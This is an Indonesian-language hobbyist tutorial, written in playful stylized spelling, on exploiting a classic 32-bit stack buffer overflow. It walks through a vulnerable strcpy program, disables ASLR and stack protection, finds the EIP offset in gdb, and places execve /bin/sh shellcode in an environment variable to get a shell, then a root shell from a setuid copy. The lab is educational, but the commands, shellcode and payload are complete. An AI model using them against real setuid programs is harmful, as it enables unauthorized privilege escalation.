Praktek Stack Buffer Overflow

Oleh : Putri Sitasari

Hayy semuana. fuffufu, pu3 mawh cba buat tutorial buffer overflow, nEh di mEsin 32 biT eeahh, bwat kk eang daah jago qu jgn diktawain eea, qu macih bru blajarh, fufufu.

Disini qU LebiH meNekAnkan paDa prAktEknyeah dRipADa teOri, soaLna teOri daH baNyak, geeann qU mSih bRu BeLajAR, kLw nGasiH bNyk teoRi tKut nNti sALaH, jAdi Kk daPet iNfo SalAH deh, fufufufufu

Apa siyh buffer overflow tuwh?

Gampangna buffer overflow tuwh saat dmana input eaang dmasukkan ke buffer meLebihi kApasitasnyah. nah qt bsa meRubah ALur progrAm dengan mEmasuKkan input eeang bnYak sampek meLebihi kApasitas buffEr dan mEng-overwrite EIP. EIP tuwh sndiri adlah slah satu register di MeSin 32 biT, si EIP ini nyiMpen alaMat meMory uNtuk perinTah briKutnyeah

aLur keRja pRoccesOr noRmalnyeah biasanyeah kyk giniyh

1. baCa inStruksi pada AlaMat meMory eaang ada di EIP
2. tAmbAhkan jumLah byTe inStruksi eaang ada di NoMer 1 pada EIP
3. JaLankan iNStruksi eeang ada di NoMer 1
4. Balik Lagi ke NoMer 1

kaDang iNstruksinyeah Cuma jump aTaw call eaang mErubah EIP ke AlamaT mEmoRy LaiNNya, pRoccesOr gag pErduLi ttG peruBahan tuwh, jDi jiKa qTa biSa meRubAh EIP paDa LanGkah noMer 3 diAtas tuWh, di LanGkah ke 4 pRoccesOr baKal bLik lgih kE LangKah nOmer 1 daN menJalanKAn peRinTah eeang diTunJuk oLeh EIP. nAh dSiNi qTa biSa mEmanFaaTkanNya nTUk mEnjaLankaAn kOde-kOde qTa sEndiRi.

nTuk reGisTer eeang LainNyah cAri daN peLajaRin snDiri eeah (EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP)

mEmoRy seGmenTatiOn kAyak giNi kiRa-kiRa (di C dan bEbrapa baHasA LaiNnyeah)

|---

| **text/code segment** : tmpAt kOde-Kode pRogram diSini, iNi reaD oNly

|---

| **data segment** : tmpAt vaRiabLe yg SuDah diBeriKan niLai (contoh: int i=10;)

|---

| **bss segment** : tmPat vaRiable yg beLum diBeriKan niLai (contoh: int i;)

|---

| **heap** : daEraH meMory dSini biSa diPakEk oLeh pRogrAm dGn fUngsi malloc()

|---

| **stack** : teRdiRi dRi stack frames

|---

staCk frames kiRa-kiRa kAyak giNi

|---

| **buffer**

|---

| **flag**

|---

| **saved frame pointer (SFP)**

|---

| **return address**

|---

| **variable a**

|---

| **variable b**

|---

| **variable n**

|---

variAble a,b,saMpai n tuWh aDalah vaRiabLe eeang AdA di FuNGsi, cOntOh fUngsiNya:

void test_function(int a, int b, int n) { }

qTa kOnseN kE sTack FrAmes iNi eeah, reTurn aDdreSS iTu yAng nAntiNya bAkAL diBaCa oLeh pRoccesOr, dAn pEriNtah paDa alaMat teRsebUt aKan diJaLankan. jDi kLaw Qta bSa ovErwriTe reTurn aDdresS, qTa biSa meRuabah aLur prOgram. jAdi kALau qTa biSa ngiSi buFFer SampAi overWrite EIP, qTa meNang !! yayhhh ^^v

biAr gAmpAng pRakteK yUkk, qu pAkek uBunTu 10.10 x86

ini cOntoh souRce cOde C eaang vulnEraBle:

----------bo.c START----------

```
#include <stdio.h>

int main(int argc, char *argv[]){
        char dt[10];

        if(argc > 1){
                strcpy(dt,argv[1]);
                printf("address: %p\n%s\n", dt, dt);
        }
        else printf("sorry\n");
        return 0;
}
```

----------bo.c END----------

qTa coMpiLe dAn jAlanKan yUkk

----------START----------

```
$ gcc -g -fno-stack-protector -z execstack -o bo bo.c
lbo.c: In function ‘main’:
bo.c:7: warning: incompatible implicit declaration of built-in function ‘strcpy’

$ ls
bo  bo.c
```

```
$ chmod +x bo

$ ./bo
sorry

$ ./bo qu_putri
address: 0xbfaaedb6
qu_putri

$ ./bo qu_putri_nan_imudh_luchu_manis_pula_fufufufufu
address: 0xbfd73b26
qu_putri_nan_imudh_luchu_manis_pula_fufufufufu
Segmentation fault
```

----------END----------

nAh pAda source bo.c kan diSini:

```
char dt[10];
```

cuMa kaPasiTasNya 10, sEdangkAn paDa peRinTah teRakhir ini:

```
$ ./bo qu_putri_nan_imudh_luchu_manis_pula_fufufufufu
```

itU LebiH dAri 10, jaDinYa segmentation fault, qu gak tq paan tuwh, kAyaknYa gaK bisA diMaKan deyh, fufufufu, kLaw kK peNasaRan, caRi SenDiRi eeah

dAh qTa lAnjut eXploiTasiNya eea, qTa mAtiin dLu pRoteKsi paDa uBunTU keSayaNgan qTa

----------START----------

```
$ sudo cat /proc/sys/kernel/randomize_va_space
2

$ sudo echo "0" > /proc/sys/kernel/randomize_va_space

$ sudo cat /proc/sys/kernel/randomize_va_space
0
```

----------END----------

yuK qTa jAlanKan gdb qTa dAN qTa deBug iTU pROgramnyeah

----------START----------

```
$ gdb bo
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/putri/bo...done.
(gdb) list
1       #include <stdio.h>
2
3       int main(int argc, char *argv[]){
4               char dt[10];
5
6               if(argc > 1){
7                       strcpy(dt,argv[1]);
8                       printf("address: %p\n%s\n", dt, dt);
9               }
10              else printf("sorry\n");
(gdb) break 9
Breakpoint 1 at 0x804846a: file bo.c, line 9.
(gdb) run ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnpqrstuvwxyz
Starting program: /home/putri/bo
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnpqrstuvwxyz
address: 0xbffff3c6
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnpqrstuvwxyz
```

Program received signal SIGSEGV, Segmentation fault.

0x5a595857 in ?? ()

(gdb)

----------END----------

iTu peRinTah LiSt unTUk LiAt sOurce cOde nyA, kaRena tDi qTa comPile deNgan Options -g jAdi soUrce coDena biSa qTa lihAt di gdb. tRus qu sEt breAK di baRis nOmer 9, jaDi nANti aLur pRogrAm akaN di 'PAUSE' paDa baRis ke 9, lALu aKu jAlaNkan pROgrAMny deNgan peRinTah run ABCDE...z

tuWH sAma ja Qu jaLanin peRintAh

./bo ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnpqrstuvwxyz

yANg paStinYa segmentation fault, kRena meLebihi bAtas bufFer eeang cuMa 10

char dt[10];

nAh sEteLah qu jAlanKan dGn run , diA keLuar ini

Program received signal SIGSEGV, Segmentation fault.

0x5a595857 in ?? ()

aPa tuWH ???

qU gag tw, pi KyAknya gag biSa diMakan , fufufufufu

cAnda dEng, kLw qTa perhaTikan 0x5a595857 tuwh koQ beRuRutan eeahh

cOba qTa ruBah tuh HEX ke ASCII..

fufufu hasilna --> ZYXW

lhO kOq ZYXW ?

eeah, kRna diA little endian mAkanya bgiTU, qu gag tw pa itu , eeang psTi gag isa dimakan, fufufufufu

kk caRi ndiRi di GooGLe biaR piNter eeah... mAcak diCuapin teYus cama qu ^^v

coBa qTa inTip rEgisTer nyeah

----------START----------

```
(gdb) i r
eax            0x0        0
ecx            0xbffff398 -1073745000
edx            0x2a0360   2753376
ebx            0x29eff4   2748404
esp            0xbffff3e0 0xbffff3e0
ebp            0x56555453 0x56555453
esi            0x0        0
edi            0x0        0
eip            0x5a595857 0x5a595857
eflags         0x210292   [ AF SF IF RF ID ]
cs             0x73       115
ss             0x7b       123
ds             0x7b       123
es             0x7b       123
fs             0x0 0
gs             0x33       51
(gdb)
```

----------END----------

tuWh EIP nyeah 0x5a595857

beRarti eeaNg tdi qu run ABCDEFG...z tuWh naNti eeAng paS di huRuf WXYZ pAs bAngeT overwrite EIP

qtA ruBah WXYZ jAdi aLamaT meMory eeang qta mAu jadi NanTi peRintaH beriKutnya aDalah kemAuan qtA

exit gdb dLuh eea

----------START----------

(gdb) quit

A debugging session is active.

Inferior 1 [process 12772] will be killed.

Quit anyway? (y or n) y

----------END----------

aDa bNyk cAra unTuk eKsPloitAsiNyeah, qu kli iNi mAw dngan CAra naRo shellcode di ENVIRONMENT,

tyUz nanTi qu Cari AlaMat aDDress nYa shellcode qu di ENVIRONMENT,

tYuz eeang tdi hURUF WXYZ qu rUbah jadi Alamat ituwh

jadiNyeah nnti EIP baKalan nunJuk ke AlaMat shellcode qu dAn shellcode ku baKalan di ekSekusi

qu pake shellcode eeang ngasih qta shell. ni shellcode qU dpEt dri mantaNquwh

----------START----------

```
$ cat shellcode.x
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

$ for i in $(cat shellcode.x | cut -d \" -f2); do echo -en $i; done > shellcode.bin

$ hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023
```

----------END----------

daH sEkaRang shellcode qU dah siAP, qTa export ke ENVIRONMENT, tyuz qtA cari alamat memory ke shellcode qTa

----------START----------

```
$ export SC=$(cat shellcode.bin)

$ echo $SC
1▯1▯1ə▯▯j
      XQh//shh/bin▯▯Q▯▯S▯▯
```

----------END----------

dah diexport kan ke ENVIRONMENT nyeah, yukz qTa jaLanin gdb

----------START----------

```
$ gdb bo
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/putri/bo...done.
(gdb) break 9
Breakpoint 1 at 0x804846a: file bo.c, line 9.
(gdb) run ABCDEFGHIJKLMNOPQRSTUVWXYZ
Starting program: /home/putri/bo ABCDEFGHIJKLMNOPQRSTUVWXYZ
address: 0xbffff3b6
ABCDEFGHIJKLMNOPQRSTUVWXYZ

Program received signal SIGSEGV, Segmentation fault.
0x5a595857 in ?? ()
```

```
(gdb) x/60s $esp + 0x200
0xbffff5d0:  "EpL\004\002a\211h\036\376]i686"
0xbffff5e0:  ""
0xbffff5e1:  ""
0xbffff5e2:  ""
0xbffff5e3:  "/home/putri/bo"
0xbffff5fc:  "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
0xbffff617:  "ORBIT_SOCKETDIR=/tmp/orbit-putri"
0xbffff638:  "SSH_AGENT_PID=1544"
0xbffff64b:  "SHELL=/bin/bash"
0xbffff65b:  "TERM=xterm"
0xbffff666:  "XDG_SESSION_COOKIE=005bb15c941a814b149343ef00000006-
1296555204.810567-1459449997"
0xbffff6b7:  "WINDOWID=81788932"
0xbffff6c9:  "GNOME_KEYRING_CONTROL=/tmp/keyring-09XOYn"
0xbffff6f3:  "GTK_MODULES=canberra-gtk-module"
0xbffff713:  "USER=putri"
0xbffff71e:  "LS_COLORS=rs=0:di=01;34....
0xbffff7e6:  ":*.taz=01;31:*.lzh=01....
0xbffff8ae:  "eb=01;31:*.rpm=01;3...
0xbffff976:  ":*.xbm=01;35:....
0xbffffa3e:  "v=01;35:*.mp4v=...
0xbffffb06:  "yuv=01;35:*.cgm=01;35:....
0xbffffbce:  "6:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbffffc0e:  "SSH_AUTH_SOCK=/tmp/keyring-09XOYn/ssh"
0xbffffc34:  "USERNAME=putri"
0xbffffc43:  "SESSION_MANAGER=local/putri:@/tmp/.ICE-
unix/1514,unix/putri:/tmp/.ICE-unix/1514"
0xbffffc93:  "DEFAULTS_PATH=/usr/share/gconf/gnome.default.path"
0xbffffcc5:  "COLUMNS=110"
0xbffffcd1:  "XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg"
0xbffffcfd:
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
```

0xbffffd4a: "DESKTOP_SESSION=gnome"
0xbffffd60: "_=/usr/bin/gdb"
0xbffffd6f: "PWD=/home/putri"
0xbffffd89: "GDM_KEYBOARD_LAYOUT=us\taltgr-intl"
0xbffffdab: "LANG=en_US.utf8"
0xbffffdbb: "GDM_LANG=en_US.utf8"
0xbffffdcf: "MANDATORY_PATH=/usr/share/gconf/gnome.mandatory.path"
0xbffffe04: "LINES=30"
0xbffffe0d: "GDMSESSION=gnome"
0xbffffe1e:
"SC=1\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341ì"
0xbffffe45: "HOME=/home/putri"
0xbffffe56: "SHLVL=1"
0xbffffe5e: "GNOME_DESKTOP_SESSION_ID=this-is-deprecated"
0xbffffe8a: "LOGNAME=putri"
0xbffffe98: "DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-
Kb8lFYVSw9,guid=38e987991467a4ea221f125900000018"
0xbffffefa: "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"
0xbfffff37: "LESSOPEN=| /usr/bin/lesspipe %s"
0xbfffff57: "WINDOWPATH=7"
0xbfffff64: "DISPLAY=:0.0"
0xbfffff71: "LESSCLOSE=/usr/bin/lesspipe %s %s"
0xbfffff93: "COLORTERM=gnome-terminal"
0xbfffffac: "XAUTHORITY=/var/run/gdm/auth-for-putri-Qig4l3/database"
0xbfffffe3: "/home/putri/bo"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
(gdb)

----------END----------

caMa kyK tdi, qu break di bAriS 9, yaiTU bariS dimaNa seTeLah teRjadi buffer overFLow,

tyuz qu run ABCDEFGHIJKLMNOPQRSTUVWXYZ, cumA smPE Z ajA kRna qTa dah tw,

tuwh WXYZ eAng aKan overWrite EIP,jaDi cUkup tuwh jah. bis tuwh, qu examine memory tuK nYari Alamat shellcode quwh di ENVIRONMENT, biasana alamat memory ENVIRONMENT agaK diPaLing bAwAH

(gdb) x/60s $esp + 0x200

klU kk gaK ngerTi iNi aPa, cOba Cari eeah googLe, ataw

(gdb) help x

ya dah, diatAs qtA liAt shellcode qTa ada diSini

0xbffffe1e:
"SC=1\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341"

yaiTu di 0xbffffe1e, tpi tuWH diMuLai dari SC=, nAh shellcode qTa diMuLai dari stelAH tAnda "=". beRarti alamAt yg tDi tambAh 3

0xbffffe1e + 0x00000003 = 0xbffffe21

coba qTa periKsa alamAt 0xbffffe21

----------START----------

(gdb) x/s 0xbffffe21

0xbffffe21:
"1\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341"

----------END----------

oKayh, dah BenEr tuWH shELLcoDE qtA

jdiH qTa tiNggAl ngeRubah WXYZ jadi 0xbffffe21, sUpaya nAnti EIP nYa nunJuk ke SheLLcode qtA

qTa ruBah dLu 0xbffffe21 kE little endian --> 0x21feffbf

yuK qTa exploit tuWH prOgram

qTa gunAkan peRl sbAGai aLat bANtu unTUk meNCeTak addRess 0x21feffbf

qta run lagi ProgrAmnyeah tpi WXYZ nyeah qTa ruBah jaDi 0x21feffbf

----------START----------

(gdb) run ABCDEFGHIJKLMNOPQRSTUV$(perl -e 'print "\x21\xfe\xff\xbf";')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/putri/bo ABCDEFGHIJKLMNOPQRSTUV$(perl -e 'print "\x21\xfe\xff\xbf";')

address: 0xbffff3b6

ABCDEFGHIJKLMNOPQRSTUV!���

process 13043 is executing new program: /bin/dash

Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.

$ whoami

putri

$ echo "yay qtA daPet SHELL"

yay qtA daPet SHELL

$ echo "EXPLOIT BERHASIL"

EXPLOIT BERHASIL

$ exit

Program exited normally.

(gdb)

----------END----------

lihat, masak tiBa-tiBa dari gdb qTa dapat shell

hihihi ciHuy qTa berHasil kakAkkk ^^v

tpi kAn biAsanYeah kLw exploiT qtA dapeT akSes root eea, koq eeang neh enggak eea?

soALna exPLoit eeang biasaNa kk liAt tuwh,

dia mAnfaatiN buGs dari dAemON/sErvice eeang biaAsanya jALan dEngan setuid sBagai root,

cOba qTa simUlasiin paDa prOgraM qTa

quit gdb dluWh tyuz rubah owner jadi root, tyus chmod +s, bis tuWH langSung exPLoitasi

----------START----------

$ sudo chown root:root bo

$ sudo chmod +s bo

$ ./bo ABCDEFGHIJKLMNOPQRSTUV$(perl -e 'print "\x21\xfe\xff\xbf";')
address: 0xbffff3d6
ABCDEFGHIJKLMNOPQRSTUV!���
 # whoami
root
 # echo "yayyyyy root beybihhh"
yayyyyy root beybihhh
 # exit

----------END----------

tuwh dapEt root :D

coBa kk experimEnt senDiri eea, coBa buAt sHellcode SendiRi, eTc, eTc,. nNti klW da wAktu, qu BwaT tuTor laiNNyeah eea

ywdah segiTU jah dri qu, maAf eea kLo tutoRnyeah cupuw, jeLek endh sUsah diMengertiYh soAlna qu jg msiH bLajAr siehh..

qu peRseMbahkan tutor nih tuK maNtanquwh yaNg hari niYh tgl 2 Feb 2011, tePat 41 hari meniNggAl. moGa alMarhuM diteriMa disiSinyeah.amin.

qu mw blAng maAkasieh bnYk buAt kk di devilzc0de eang uDah mau ajAriN quwh, endh jUga buAt semUa keLuargA barUku di devilzc0de. maKasih eea, love you guys

makAsiH juGA bwAdh eang dAH baCa tutoRkuwh.

kALaw aD eeng SaLah toLong pu3 diKoReksi eea.

:-* putri